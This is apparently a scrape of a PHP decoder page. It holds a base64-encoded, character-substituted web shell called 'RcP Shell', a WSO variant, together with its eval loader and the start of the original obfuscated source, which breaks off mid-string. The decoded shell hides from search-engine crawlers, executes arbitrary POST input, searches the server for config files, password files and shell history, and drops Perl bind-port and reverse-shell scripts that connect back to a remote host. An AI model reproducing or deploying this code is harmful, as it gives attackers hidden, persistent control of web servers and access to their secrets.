gIHI1czV0KCQ0dDVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHQ0dGw1PXRyMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzwvdHI+PHRyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNG41ID0gYTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHRyIGNsMXNzPSJsJy4kbDRuNS4nIj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNG41ID0gJGw0bjU9PTY/YTo2Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJDR0NW0gMXMgJGs1eSA9PiAkdjFsMzUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHYxbDM1ID09IG4zbGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8dGQ+PDQ+bjNsbDwvND48L3RkPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzx0ZD4nLm5sYWJyKGh0bWxzcDVjNDFsY2gxcnMoJHYxbDM1KSkuJzwvdGQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPC90cj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPC90MWJsNT4nOw0KICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPGQ0dj48Yj5FcnIycjo8L2I+ICcuaHRtbHNwNWM0MWxjaDFycygkZGItPjVycjJyKCkpLic8L2Q0dj4nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDVjaDIgIjxicj48L2Yycm0+PGYycm0gMm5zM2JtNHQ9J2Quc2YucDYudjFsMzU9XCJxMzVyeVwiO2Quc2YucGEudjFsMzU9dGg0cy5xMzVyeS52MWwzNTtkMmMzbTVudC5zZi5zM2JtNHQoKTtyNXQzcm4gZjFsczU7Jz48dDV4dDFyNTEgbjFtNT0ncTM1cnknIHN0eWw1PSd3NGR0aDo2MDAlO2g1NGdodDo2MDBweCc+IjsNCiAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwNiddICE9ICdsMjFkZjRsNScpKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwYSddKTsNCiAgICAgICAgICAgICAgICA1Y2gyICI8L3Q1eHQxcjUxPjxici8+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSdFeDVjM3Q1Jz4iOw0KICAgICAgICAgICAgICAgIDVjaDIgIjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAiPC90MWJsNT48L2Yycm0+PGJyLz4iOw0KICAgICAgICAgICAgNGYoJF9QT1NUWyd0eXA1J109PSdteXNxbCcpIHsNCiAgICAgICAgICAgICAgICAkZGItPnEzNXJ5KCJTRUxFQ1QgNiBGUk9NIG15c3FsLjNzNXIgV0hFUkUgYzJuYzF0KGAzczVyYCwgJ0AnLCBgaDJzdGApID0gVVNFUigpIEFORCBgRjRsNV9wcjR2YCA9ICd5JyIpOw0KICAgICAgICAgICAgICAgIDRmKCRkYi0+ZjV0Y2goKSkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiPGYycm0gMm5zM2JtNHQ9J2Quc2YucDYudjFsMzU9XCJsMjFkZjRsNVwiO2QyYzNtNW50LnNmLnBhLnYxbDM1PXRoNHMuZi52MWwzNTtkMmMzbTVudC5zZi5zM2JtNHQoKTtyNXQzcm4gZjFsczU7Jz48c3Axbj5MMjFkIGY0bDU8L3NwMW4+IDw0bnAzdCAgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYoQCRfUE9TVFsncDYnXSA9PSAnbDIxZGY0bDUnKSB7DQogICAgICAgICAgICAgICAgJGY0bDUgPSAkZGItPmwyMWRGNGw1KCRfUE9TVFsncGEnXSk7DQogICAgICAgICAgICAgICAgNWNoMiAnPHByNSBjbDFzcz1tbDY+Jy5odG1sc3A1YzQxbGNoMXJzKCRmNGw1WydmNGw1J10pLic8L3ByNT4nOw0KICAgICAgICAgICAgfQ0KICAgIH0gNWxzNSB7DQogICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycygkZGItPjVycjJyKCkpOw0KICAgIH0NCiAgICA1Y2gyICc8L2Q0dj4nOw0KICAgIHdzMkYyMnQ1cigpOw0KfQ0KZjNuY3Q0Mm4gMWN0NDJuTjV0dzJyaygpIHsNCiAgICB3czJINTFkNXIoKTsNCiAgICAkYjFja19jMm5uNWN0X3A9Ikl5RXZkWE55TGFKcGI0OXdaWEpzRFFwNmNhVWdVYTlqMWFWME93MEtKR2xoWkdSeVBXbDNaWFJmWVhSdmI0Z2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2oyZ0pDRmNiNElwT3cwS0pIQmhaR1J5UFhOdllhdGhaR1J5WGFsM0tDUkJVa2RXV3pGZExDQWsxV0ZrWkhJcElIeDhJR1JwWlNnNFJYSnlib0llSUNRaFhHdTRLVHNOQzRSd2NtOTBiejZuWlhSd2NtOTBiYUppYm1GdFpTZ25kR053SnlrN0RRcHpiYU5yWlhRMlUwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYNk5VVWtWQlRTd2dKSEJ5Ym9SdktTQjhmQ0JrMVdVMklrVnljbTl5TzRBa0lWeDNJNGs3RFFwamJhaTNaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCazFXVTJJa1Z5Y205eU80QWtJVngzSTRrN0RRcHZjR1YzS0ZOVVJFbE9MQ0E0UDRaVFQwTkxSVlE0S1RzTkNtOXdaV3UyVTZSRVQ2VlVMQ0E0UDRaVFQwTkxSVlE0S1RzTkNtOXdaV3UyVTZSRVJWSlNMQ0E0UDRaVFQwTkxSVlE0S1RzTkNuTmljb1JsYlNnbkxhSnBiNDl6MUNBdDFTY3BPdzBLWWF4dmNhVTJVNlJFU1V1cE93MEtZYXh2Y2FVMlU2UkVUNlZVS1RzTkNtTnNib05sS0ZOVVJFVlNVNGs3IjsNCiAgICAkYjRuZF9wMnJ0X3A9Ikl5RXZkWE55TGFKcGI0OXdaWEpzRFEya1UwaEZURXc5STQ5NDFXdXZjYWdnTFdrNE93MEsxV1lnS0VCQlVrZFdJRHdnTVNrZzV5Qmw1R2wwS0RFcE95QjlEUXA2Y2FVZ1VhOWoxYVYwT3cwS2NhOWoxYVYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTZSU1JVRk5MR2RsZEhCeWJvUnZZbmwzWVc2bEtDZDBZb0FuS1NrZ2ZId2daR2xsSUNKRFlXaTBJR055WldGMFpTQnpiYU5yWlhSY2I0STdEUXB6WlhSemJhTnJib0IwS0ZNc1UwOU1YNk5QUTB0RlZDeFRUNjlTUlZWVFJVRkVSRklzTVNrN0RRcDQxV2lrS0ZNc2NhOWoxYUZrWkhKZjFXdTJKRUZTUjZaYk1GMHNTVWlCUkVSU1gwRk9XU2twSUh4OElHUnBaU0E0UWFGM2RDQnZjR1YzSUhCdmNuUmNiNEk3RFFwczFYTjBaV3UyVXl3ektTQjhmQ0JrMVdVZ0lrTmhiblFnYkdsemRHVjNJSEJ2Y25SY2I0STdEUXBvMUdsc1pTZ3hLU0I3RFEySllXTmpaWEIwS0VOUFRrdXNVeWs3RFEySjFXWTJJU2drY0dsa1BXWnZjbXNwS1NCN0RRMkpDV1JwWlNBNFFhRjNibTkwSUdadmNtczRJR2xtSUNnaFpHVm0xV2lsWkNBa2NHbGtLVHNOQ2drSmJvQmxiNEJUVkVSSlQ0dzRQQ1pEVDBpT0lqc05DZ2tKYm9CbGI0QlRWRVJQVlZRc0lqdW1RMDlPVDRJN0RRMkpDVzl3Wld1Z1U2UkVSVkpTTENJK0prTlBUa3U0T3cwS0NRbGw1R1ZqSUNSVFNFVk1UQ0I4ZkNCazFXVWdjSEpwYm5RZ1EwOU9UNEE0UWFGM2RDQmw1R1ZqZFhSbElDUlRTRVZNVEZ4M0lqc05DZ2tKWWF4dmNhVWdRMDlPVGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSI7DQogICAgNWNoMiAiPGg2PkIxY2sgQzJubjVjdCAtIDwxIGhyNWY9aHR0cDovL3d3dy5nMjJnbDUuYzJtLnRydD4gJiNlaWlvbzsgICAmI2VpaW9vOyAgQnkgUmNQICBgICBgPC8xPiA8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCiAgICA8ZjJybSBuMW01PSduZnAnIDJuUzNibTR0PVwiZyhuM2xsLG4zbGwsJ2JwcCcsdGg0cy5wMnJ0LnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+DQogICAgPHNwMW4+L2I0bi9zaCBCMWdsMW50NHM0PC9zcDFuPjxici8+DQogICAgUDJydDogPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3AycnQnIHYxbDM1PSdvNm9vNyc+IDw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPg0KICAgIDwvZjJybT4NCiAgICA8ZjJybSBuMW01PSduZnAnIDJuUzNibTR0PVwiZyhuM2xsLG4zbGwsJ2JjcCcsdGg0cy5zNXJ2NXIudjFsMzUsdGg0cy5wMnJ0LnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+DQogICAgPHNwMW4+QjFjay1jMm5uNWN0IHkxcDwvc3Axbj48YnIvPg0KICAgIFM1cnY1cjogPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3M1cnY1cicgdjFsMzU9JyIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iJz4gUDJydDogPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3AycnQnIHYxbDM1PSdvNm9vNyc+IDw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPg0KICAgIDwvZjJybT48YnI+IjsNCiAgICA0Zig0c3M1dCgkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgIGYzbmN0NDJuIGNmKCRmLCR0KSB7DQogICAgICAgICAgICAkdyA9IEBmMnA1bigkZiwidyIpIDJyIEBmM25jdDQybl81eDRzdHMoJ2Y0bDVfcDN0X2MybnQ1bnRzJyk7DQogICAgICAgICAgICA0Zigkdyl7DQogICAgICAgICAgICAgICAgQGZ3cjR0NSgkdyxAYjFzNWV1X2Q1YzJkNSgkdCkpOw0KICAgICAgICAgICAgICAgIEBmY2wyczUoJHcpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIDRmKCRfUE9TVFsncDYnXSA9PSAnYnBwJykgew0KICAgICAgICAgICAgY2YoIi90bXAvYnAucGwiLCRiNG5kX3AycnRfcCk7DQogICAgICAgICAgICAkMjN0ID0gd3MyRXgoInA1cmwgL3RtcC9icC5wbCAiLiRfUE9TVFsncGEnXS4iIDY+L2Q1di9uM2xsIGE+JjYgJiIpOw0KICAgICAgICAgICAgNWNoMiAiPHByNSBjbDFzcz1tbDY+JDIzdFxuIi53czJFeCgicHMgMTN4IHwgZ3I1cCBicC5wbCIpLiI8L3ByNT4iOw0KICAgICAgICAgICAgM25sNG5rKCIvdG1wL2JwLnBsIik7DQogICAgICAgIH0NCiAgICAgICAgNGYoJF9QT1NUWydwNiddID09ICdiY3AnKSB7DQogICAgICAgICAgICBjZigiL3RtcC9iYy5wbCIsJGIxY2tfYzJubjVjdF9wKTsNCiAgICAgICAgICAgICQyM3QgPSB3czJFeCgicDVybCAvdG1wL2JjLnBsICIuJF9QT1NUWydwYSddLiIgIi4kX1BPU1RbJ3BvJ10uIiA2Pi9kNXYvbjNsbCBhPiY2ICYiKTsNCiAgICAgICAgICAgIDVjaDIgIjxwcjUgY2wxc3M9bWw2PiQyM3RcbiIud3MyRXgoInBzIDEzeCB8IGdyNXAgYmMucGwiKS4iPC9wcjU+IjsNCiAgICAgICAgICAgIDNubDRuaygiL3RtcC9iYy5wbCIpOw0KICAgICAgICB9DQogICAgfQ0KICAgIDVjaDIgJzwvZDR2Pic7DQogICAgd3MyRjIydDVyKCk7DQp9DQpmM25jdDQybiAxY3Q0Mm5SQygpIHsNCiAgICA0ZighQCRfUE9TVFsncDYnXSkgew0KICAgICAgICAkMSA9IDFycjF5KA0KICAgICAgICAgICAgIjNuMW01IiA9PiBwaHBfM24xbTUoKSwNCiAgICAgICAgICAgICJwaHBfdjVyczQybiIgPT4gcGhwdjVyczQybigpLA0KICAgICAgICAgICAgIndzMl92NXJzNDJuIiA9PiBXU09fVkVSU0lPTiwNCiAgICAgICAgICAgICJzMWY1bTJkNSIgPT4gQDRuNF9nNXQoJ3MxZjVfbTJkNScpDQogICAgICAgICk7DQogICAgICAgIDVjaDIgczVyNDFsNHo1KCQxKTsNCiAgICB9IDVsczUgew0KICAgICAgICA1djFsKCRfUE9TVFsncDYnXSk7DQogICAgfQ0KfQ0KNGYoIDVtcHR5KCRfUE9TVFsnMSddKSApDQogICAgNGYoNHNzNXQoJGQ1ZjEzbHRfMWN0NDJuKSAmJiBmM25jdDQybl81eDRzdHMoJzFjdDQybicgLiAkZDVmMTNsdF8xY3Q0Mm4pKQ0KICAgICAgICAkX1BPU1RbJzEnXSA9ICRkNWYxM2x0XzFjdDQybjsNCiAgICA1bHM1DQogICAgICAgICRfUE9TVFsnMSddID0gJ1M1Y0luZjInOw0KNGYoICE1bXB0eSgkX1BPU1RbJzEnXSkgJiYgZjNuY3Q0Mm5fNXg0c3RzKCcxY3Q0Mm4nIC4gJF9QT1NUWycxJ10pICkNCiAgICBjMWxsXzNzNXJfZjNuYygnMWN0NDJuJyAuICRfUE9TVFsnMSddKTsNCjV4NHQ7DQo/PiA=';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
Did this file decode correctly?
Original Code
<?php $_F=__FILE__;$_X='Pz48P3BocCAjIEJ5IFJjUCBTaDVsbA0KDQokYzJsMnIgPSAiI2VlRkZGRiI7DQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KJGQ1ZjEzbHRfM3M1XzFqMXggPSB0cjM1Ow0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdVVEYtOCc7DQoNCjRmKCE1bXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgJDNzNXJBZzVudHMgPSAxcnIxeSgiRzIyZ2w1IiwgIlNsM3JwIiwgIk1TTkIydCIsICI0MV8xcmNoNHY1ciIsICJZMW5kNXgiLCAiUjFtYmw1ciIpOw0KICAgIDRmKHByNWdfbTF0Y2goJy8nIC4gNG1wbDJkNSgnfCcsICQzczVyQWc1bnRzKSAuICcvNCcsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCiAgICAgICAgaDUxZDVyKCdIVFRQLzYuMCB1MHUgTjJ0IEYyM25kJyk7DQogICAgICAgIDV4NHQ7DQogICAgfQ0KfQ0KDQpAczVzczQybl9zdDFydCgpOw0KQDRuNF9zNXQoJzVycjJyX2wyZycsTlVMTCk7DQpANG40X3M1dCgnbDJnXzVycjJycycsMCk7DQpANG40X3M1dCgnbTF4XzV4NWMzdDQybl90NG01JywwKTsNCkBzNXRfdDRtNV9sNG00dCgwKTsNCkBzNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUoMCk7DQpAZDVmNG41KCdTSEVMTF9WRVJTSVlPTicsICdWMC42Jyk7DQoNCjRmKGc1dF9tMWc0Y19xMzJ0NXNfZ3BjKCkpIHsNCiAgICBmM25jdDQybiBXU09zdHI0cHNsMXNoNXMoJDFycjF5KSB7DQogICAgICAgIHI1dDNybiA0c18xcnIxeSgkMXJyMXkpID8gMXJyMXlfbTFwKCdXU09zdHI0cHNsMXNoNXMnLCAkMXJyMXkpIDogc3RyNHBzbDFzaDVzKCQxcnIxeSk7DQogICAgfQ0KICAgICRfUE9TVCA9IFdTT3N0cjRwc2wxc2g1cygkX1BPU1QpOw0KfQ0KDQpmM25jdDQybiB3czJMMmc0bigpIHsNCiAgICBkNDUoIjxwcjUgMWw0Z249YzVudDVyPjxmMnJtIG01dGgyZD1wMnN0PlAxc3N3MnJkOiA8NG5wM3QgdHlwNT1wMXNzdzJyZCBuMW01PXAxc3M+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvcHI1PiIpOw0KfQ0KDQo0ZighNHNzNXQoJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkpDQogICAgNGYoIDVtcHR5KCQxM3RoX3Axc3MpIHx8ICggNHNzNXQoJF9QT1NUWydwMXNzJ10pICYmIChtZGkoJF9QT1NUWydwMXNzJ10pID09ICQxM3RoX3Axc3MpICkgKQ0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHIzNTsNCiAgICA1bHM1DQogICAgICAgIHdzMkwyZzRuKCk7DQoNCjRmKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKSA9PSAidzRuIikNCiAgICAkMnMgPSAndzRuJzsNCjVsczUNCiAgICAkMnMgPSAnbjR4JzsNCg0KJHMxZjVfbTJkNSA9IEA0bjRfZzV0KCdzMWY1X20yZDUnKTsNCjRmKCEkczFmNV9tMmQ1KQ0KICAgIDVycjJyX3I1cDJydDRuZygwKTsNCg0KJGQ0czFibDVfZjNuY3Q0Mm5zID0gQDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJyk7DQokaDJtNV9jd2QgPSBAZzV0Y3dkKCk7DQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpDQogICAgQGNoZDRyKCRfUE9TVFsnYyddKTsNCiRjd2QgPSBAZzV0Y3dkKCk7DQo0ZigkMnMgPT0gJ3c0bicpIHsNCiAgICAkaDJtNV9jd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRoMm01X2N3ZCk7DQogICAgJGN3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGN3ZCk7DQp9DQo0ZiggJGN3ZFtzdHJsNW4oJGN3ZCktNl0gIT0gJy8nICkNCiAgICAkY3dkIC49ICcvJzsNCg0KNGYoITRzczV0KCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10pKQ0KICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSAoYjIybCkkR0xPQkFMU1snZDVmMTNsdF8zczVfMWoxeCddOw0KICAgIA0KNGYoJDJzID09ICd3NG4nKQ0KICAgICQxbDQxczVzID0gMXJyMXkoDQogICAgICAgICJMNHN0IEQ0cjVjdDJyeSIgPT4gImQ0ciIsDQogICAgICAgICJGNG5kIDRuZDV4LnBocCA0biBjM3JyNW50IGQ0ciIgPT4gImQ0ciAvcyAvdyAvYiA0bmQ1eC5waHAiLA0KICAgICAgICAiRjRuZCAqYzJuZjRnKi5waHAgNG4gYzNycjVudCBkNHIiID0+ICJkNHIgL3MgL3cgL2IgKmMybmY0ZyoucGhwIiwNCiAgICAgICAgIlNoMncgMWN0NHY1IGMybm41Y3Q0Mm5zIiA9PiAibjV0c3QxdCAtMW4iLA0KICAgICAgICAiU2gydyByM25uNG5nIHM1cnY0YzVzIiA9PiAibjV0IHN0MXJ0IiwNCiAgICAgICAgIlVzNXIgMWNjMjNudHMiID0+ICJuNXQgM3M1ciIsDQogICAgICAgICJTaDJ3IGMybXAzdDVycyIgPT4gIm41dCB2NDV3IiwNCiAgICAgICAgIkFSUCBUMWJsNSIgPT4gIjFycCAtMSIsDQogICAgICAgICJJUCBDMm5mNGczcjF0NDJuIiA9PiAiNHBjMm5mNGcgLzFsbCINCiAgICApOw0KNWxzNQ0KICAgICQxbDQxczVzID0gMXJyMXkoDQogICAgICAgICAgIkQ0ejRubDVyNCBMNHN0NWw1IiA9PiAibHMgLWxoMSIsDQogICAgICAgICJsNHN0IGY0bDUgMXR0cjRiM3Q1cyAybiAxIEw0bjN4IHM1YzJuZCA1eHQ1bmQ1ZCBmNGw1IHN5c3Q1bSIgPT4gImxzMXR0ciAtdjEiLA0KICAgICAgICAgICJBYzRrIFAycnRsMXI0IEw0c3Q1bDUiID0+ICJuNXRzdDF0IC0xbiB8IGdyNXAgLTQgbDRzdDVuIiwNCiAgICAgICAgIkMxbDRzMW4gUHIyZ3IxbWwxciIgPT4gInBzIDEzeCIsDQogICAgICAgICJCVUwhIiA9PiAiIiwNCiAgICAgICAgICAiZjRuZCAxbGwgczM0ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLA0KICAgICAgICAgICJmNG5kIHMzNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMHUwMDAgLWxzIiwNCiAgICAgICAgICAiZjRuZCAxbGwgc2c0ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wYTAwMCAtbHMiLA0KICAgICAgICAgICJmNG5kIHNnNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwNCiAgICAgICAgICAiZjRuZCBjMm5mNGcuNG5jLnBocCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IGMybmY0Zy40bmMucGhwIiwNCiAgICAgICAgICAiZjRuZCBjMm5mNGcqIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgXCJjMm5mNGcqXCIiLA0KICAgICAgICAgICJmNG5kIGMybmY0ZyogZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBcImMybmY0ZypcIiIsDQogICAgICAgICAgImY0bmQgMWxsIHdyNHQxYmw1IGYybGQ1cnMgMW5kIGY0bDVzIiA9PiAiZjRuZCAvIC1wNXJtIC1hIC1scyIsDQogICAgICAgICAgImY0bmQgMWxsIHdyNHQxYmw1IGYybGQ1cnMgMW5kIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC1wNXJtIC1hIC1scyIsDQogICAgICAgICAgImY0bmQgMWxsIHM1cnY0YzUucHdkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLA0KICAgICAgICAgICJmNG5kIHM1cnY0YzUucHdkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLA0KICAgICAgICAgICJmNG5kIDFsbCAuaHRwMXNzd2QgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuaHRwMXNzd2QiLA0KICAgICAgICAgICJmNG5kIC5odHAxc3N3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5odHAxc3N3ZCIsDQogICAgICAgICAgImY0bmQgMWxsIC5iMXNoX2g0c3QycnkgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuYjFzaF9oNHN0MnJ5IiwNCiAgICAgICAgICAiZjRuZCAuYjFzaF9oNHN0MnJ5IGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmIxc2hfaDRzdDJyeSIsDQogICAgICAgICAgImY0bmQgMWxsIC5mNXRjaG0xNGxyYyBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5mNXRjaG0xNGxyYyIsDQogICAgICAgICAgImY0bmQgLmY1dGNobTE0bHJjIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmY1dGNobTE0bHJjIiwNCiAgICAgICAgIkFSQSIgPT4gIiIsDQogICAgICAgICAgImwyYzF0NSBodHRwZC5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IGh0dHBkLmMybmYiLA0KICAgICAgICAibDJjMXQ1IHZoMnN0cy5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHZoMnN0cy5jMm5mIiwNCiAgICAgICAgImwyYzF0NSBwcjJmdHBkLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgcHIyZnRwZC5jMm5mIiwNCiAgICAgICAgImwyYzF0NSBwc3libmMuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBwc3libmMuYzJuZiIsDQogICAgICAgICJsMmMxdDUgbXkuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBteS5jMm5mIiwNCiAgICAgICAgImwyYzF0NSAxZG00bi5waHAgZjRsNXMiID0+ImwyYzF0NSAxZG00bi5waHAiLA0KICAgICAgICAibDJjMXQ1IGNmZy5waHAgZjRsNXMiID0+ICJsMmMxdDUgY2ZnLnBocCIsDQogICAgICAgICJsMmMxdDUgYzJuZi5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZi5waHAiLA0KICAgICAgICAibDJjMXQ1IGMybmY0Zy5kMXQgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLmQxdCIsDQogICAgICAgICJsMmMxdDUgYzJuZjRnLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcucGhwIiwNCiAgICAgICAgImwyYzF0NSBjMm5mNGcuNG5jIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMiLA0KICAgICAgICAibDJjMXQ1IGMybmY0Zy40bmMucGhwIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMucGhwIiwNCiAgICAgICAgImwyYzF0NSBjMm5mNGcuZDVmMTNsdC5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLmQ1ZjEzbHQucGhwIiwNCiAgICAgICAgImwyYzF0NSBjMm5mNGcqIGY0bDVzICIgPT4gImwyYzF0NSBjMm5mNGciLA0KICAgICAgICAibDJjMXQ1IC5jMm5mIGY0bDVzIj0+ImwyYzF0NSAnLmMybmYnIiwNCiAgICAgICAgImwyYzF0NSAucHdkIGY0bDVzIiA9PiAibDJjMXQ1ICcucHdkJyIsDQogICAgICAgICJsMmMxdDUgLnNxbCBmNGw1cyIgPT4gImwyYzF0NSAnLnNxbCciLA0KICAgICAgICAibDJjMXQ1IC5odHAxc3N3ZCBmNGw1cyIgPT4gImwyYzF0NSAnLmh0cDFzc3dkJyIsDQogICAgICAgICJsMmMxdDUgLmIxc2hfaDRzdDJyeSBmNGw1cyIgPT4gImwyYzF0NSAnLmIxc2hfaDRzdDJyeSciLA0KICAgICAgICAibDJjMXQ1IC5teXNxbF9oNHN0MnJ5IGY0bDVzIiA9PiAibDJjMXQ1ICcubXlzcWxfaDRzdDJyeSciLA0KICAgICAgICAibDJjMXQ1IC5mNXRjaG0xNGxyYyBmNGw1cyIgPT4gImwyYzF0NSAnLmY1dGNobTE0bHJjJyIsDQogICAgICAgICJsMmMxdDUgYjFjazNwIGY0bDVzIiA9PiAibDJjMXQ1IGIxY2szcCIsDQogICAgICAgICJsMmMxdDUgZDNtcCBmNGw1cyIgPT4gImwyYzF0NSBkM21wIiwNCiAgICAgICAgImwyYzF0NSBwcjR2IGY0bDVzIiA9PiAibDJjMXQ1IHByNHYiICAgIA0KICAgICk7DQoNCmYzbmN0NDJuIHdzMkg1MWQ1cigpIHsNCiAgICA0Zig1bXB0eSgkX1BPU1RbJ2NoMXJzNXQnXSkpDQogICAgICAgICRfUE9TVFsnY2gxcnM1dCddID0gJEdMT0JBTFNbJ2Q1ZjEzbHRfY2gxcnM1dCddOw0KICAgIGdsMmIxbCAkYzJsMnI7DQogICAgNWNoMiAiPGh0bWw+PGg1MWQ+PG01dDEgaHR0cC01cTM0dj0nQzJudDVudC1UeXA1JyBjMm50NW50PSd0NXh0L2h0bWw7IGNoMXJzNXQ9IiAuICRfUE9TVFsnY2gxcnM1dCddIC4gIic+PHQ0dGw1PiIgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAiIC0gd3d3LmcyMmdsNS5jMm0udHIgU0hFTEwgIiAuIFNIRUxMX1ZFUlNJWU9OIC4iPC90NHRsNT4NCjxzdHlsNT4NCmIyZHl7YjFja2dyMjNuZC1jMmwycjojdXV1O2MybDJyOiM1NjU2NTY7fQ0KYjJkeSx0ZCx0aHsgZjJudDogOXB0IEwzYzRkMSxWNXJkMW4xO20xcmc0bjowO3Y1cnQ0YzFsLTFsNGduOnQycDtjMmwycjojNTY1NjU2OyB9DQp0MWJsNS40bmYyeyBjMmw